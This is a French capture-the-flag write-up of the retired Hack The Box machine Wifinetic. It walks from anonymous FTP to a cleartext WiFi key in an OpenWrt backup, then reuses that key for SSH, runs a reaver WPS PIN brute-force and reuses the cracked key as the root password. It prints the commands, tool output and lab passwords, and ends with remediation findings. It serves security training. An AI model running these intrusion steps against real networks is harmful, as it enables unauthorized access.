picsou@htb:~/writeups/easy/wifinetic$

Linux Easy

Wifinetic : un backup OpenWrt, une clé WiFi réutilisée et un WPS craqué vers root

FTP anonyme menant à un backup OpenWrt exposant une clé WiFi, réutilisée en SSH, puis crack WPS avec reaver pour récupérer le mot de passe root.

box
Wifinetic
os
Linux
difficulté
Easy
résolue le
publiée le
temps
30 min
indices
aucun
outils
nmap ftp tar reaver pixiewps iw
techniques
Scan de ports FTP anonyme Identifiants en clair Réutilisation de mot de passe Attaque WPS Pixie Dust Bruteforce WPS (reaver)

Box retirée par Hack The Box. Write-up publié dans le respect des règles de la plateforme, flags masqués.

TL;DR

  1. FTP anonyme ouvert, exposant un backup de configuration OpenWrt (.tar).
  2. Le fichier etc/config/wireless du backup contient en clair la clé WiFi du réseau OpenWrt.
  3. Cette même clé est réutilisée comme mot de passe SSH pour l'utilisateur netadmin.
  4. Depuis netadmin, le binaire reaver (capability cap_net_raw) permet d'attaquer le point d'accès WiFi local.
  5. Une attaque Pixie Dust échoue, mais une attaque WPS classique réussit en quelques secondes et révèle le mot de passe root via le WPA PSK cassé.

Reconnaissance

kali
nmap -sVC -T4 10.129.229.90
nmap
PORT   STATE SERVICE    VERSION
21/tcp open  ftp        vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--    1 ftp      ftp          4434 Jul 31  2023 MigrateOpenWrt.txt
| -rw-r--r--    1 ftp      ftp       2501210 Jul 31  2023 ProjectGreatMigration.pdf
| -rw-r--r--    1 ftp      ftp         60857 Jul 31  2023 ProjectOpenWRT.pdf
| -rw-r--r--    1 ftp      ftp         40960 Sep 11  2023 backup-OpenWrt-2023-07-26.tar
|_-rw-r--r--    1 ftp      ftp         52946 Jul 31  2023 employees_wellness.pdf
22/tcp open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
53/tcp open  tcpwrapped

Un FTP anonyme ouvert avec un backup de configuration OpenWrt directement visible dans le listing : c'est la piste la plus prometteuse.

Énumération

kali
ftp anonymous@10.129.229.90
txt
230 Login successful.
kali ftp
mget *

Une fois backup-OpenWrt-2023-07-26.tar récupéré, une première tentative d'extraction a échoué :

kali
tar -xvf backup-OpenWrt-2023-07-26.tar
txt
tar: This does not look like a tar archive
tar: Skipping to next header
tar: Exiting with failure status due to previous errors

En réalité, la commande get MigrateOpenWrt.txt backup-OpenWrt-2023-07-26.tar avait téléchargé le contenu de MigrateOpenWrt.txt mais l'avait enregistré localement sous le nom backup-OpenWrt-2023-07-26.tar : le fichier portait le bon nom mais le mauvais contenu, d'où l'échec de l'extraction. Un re-téléchargement propre via mget * récupère chaque fichier sous son vrai nom, et l'extraction a ensuite fonctionné normalement.

kali
tar -xvf backup-OpenWrt-2023-07-26.tar
cd etc
cat config/wireless
config/wireless
config wifi-iface 'wifinet0'
        option device 'radio0'
        option mode 'ap'
        option ssid 'OpenWrt'
        option encryption 'psk'
        option key 'VeRyUniUqWiFIPasswrd1!'
        option wps_pushbutton '1'

La clé WiFi du point d'accès OpenWrt est en clair dans le fichier de configuration du backup. Le fichier passwd du même backup liste aussi un compte netadmin, candidat naturel pour une réutilisation de mot de passe.

Foothold

kali
ssh netadmin@10.129.229.90
txt
netadmin@10.129.229.90's password: VeRyUniUqWiFIPasswrd1!

netadmin@wifinetic:~$ cat user.txt

La clé WiFi trouvée dans le backup OpenWrt fonctionne directement comme mot de passe SSH pour netadmin, un cas classique de réutilisation de secret entre un équipement réseau et un compte système.

Élévation vers root

Pistes classiques écartées

netadmin@wifinetic
id; sudo -l
txt
Sorry, user netadmin may not run sudo on wifinetic.

Pas de sudo, pas de tâche cron exploitable (/etc/crontab et /etc/cron.d/ ne contiennent que des jobs standards Ubuntu).

netadmin@wifinetic
getcap -r / 2>/dev/null
txt
/usr/bin/reaver = cap_net_raw+ep

reaver, l'outil d'attaque WPS, dispose de la capability cap_net_raw, ce qui permet de manipuler des paquets réseau bruts sans être root : c'est le vecteur de privesc.

Identification de l'interface et de la cible

netadmin@wifinetic
iw dev
txt
phy#0
        Interface wlan0
                ssid OpenWrt
                type AP
                channel 1 (2412 MHz)
phy#2
        Interface mon0
                type monitor

Une interface mon0 en mode monitor est déjà disponible, et le point d'accès local OpenWrt (BSSID 02:00:00:00:00:00) tourne sur le canal 1.

Attaque WPS : Pixie Dust puis bruteforce classique

netadmin@wifinetic
reaver -i mon0 -b 02:00:00:00:00:00 -c 1 -K -vv
txt
executing pixiewps -e ... -s ... -z ... -a ... -n ... -r ...

 [-] WPS pin not found!

L'attaque Pixie Dust échoue : le point d'accès n'est pas vulnérable à cette variante (pas de génération faible des nonces côté AP). Direction l'attaque WPS classique (bruteforce du PIN), nettement plus lente en théorie mais ici quasi instantanée.

netadmin@wifinetic
reaver -i mon0 -b 02:00:00:00:00:00 -c 1 -vv
txt
[+] Trying pin "12345670"
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received M5 message
[+] Sending M6 message
[+] Received M7 message
[+] Pin cracked in 2 seconds
[+] WPS PIN: '12345670'
[+] WPA PSK: 'WhatIsRealAnDWhAtIsNot51121!'
[+] AP SSID: 'OpenWrt'

Le PIN WPS par défaut (12345670) est accepté directement, ce qui révèle le WPA PSK du réseau.

Root

netadmin@wifinetic
su -
txt
Password: WhatIsRealAnDWhAtIsNot51121!

root@wifinetic:~# cat root.txt

Le WPA PSK révélé par le crack WPS est en réalité le mot de passe du compte root, une seconde réutilisation de secret entre la couche WiFi et les comptes système de la machine.

Findings

#ConstatSévérité (CVSS v4)Remédiation
F1FTP anonyme exposant un backup de configuration réseau contenant des secrets en clairÉlevéeDésactiver l'accès anonyme FTP, ne jamais stocker de backups de configuration sur un partage non authentifié
F2Clé WiFi en clair dans un fichier de configuration OpenWrt accessibleÉlevéeChiffrer ou restreindre l'accès aux fichiers de configuration contenant des secrets, rotation des clés après tout export/backup
F3Mot de passe SSH de netadmin identique à la clé WiFi du point d'accèsCritiqueNe jamais réutiliser un secret entre deux systèmes distincts (équipement réseau vs compte système)
F4Capability cap_net_raw sur reaver accessible à un utilisateur non administrateur, permettant une attaque WPS contre l'AP localeÉlevéeRetirer la capability réseau brute des binaires non indispensables, restreindre reaver aux comptes qui en ont réellement besoin
F5Point d'accès WiFi vulnérable au bruteforce WPS (PIN par défaut accepté), et mot de passe root identique au WPA PSKCritiqueDésactiver WPS, changer le mot de passe root et ne jamais le faire correspondre à un secret WiFi

Leçons apprises

  • Un FTP anonyme avec des fichiers de backup réseau mérite toujours d'être exploré en premier : les fichiers de configuration embarquent souvent des secrets en clair (clés WiFi, mots de passe, certificats).
  • Toujours vérifier l'intégrité d'un fichier téléchargé par FTP avant de s'interroger sur son format : mget * évite les erreurs de renommage qu'un get source dest répété peut introduire.
  • Pixie Dust n'est pas une solution universelle contre WPS : un point d'accès peut y résister tout en restant vulnérable à un bruteforce de PIN classique, surtout avec un PIN par défaut comme 12345670.
  • reaver a une syntaxe exigeante (interface monitor, BSSID, canal, mode d'attaque) : un passage par -h et la documentation est indispensable avant une première utilisation.
  • La réutilisation de secrets peut se propager en cascade : une clé WiFi réutilisée pour un compte SSH, puis un WPA PSK réutilisé comme mot de passe root. Chaque secret retrouvé vaut la peine d'être testé sur tous les comptes rencontrés.

Références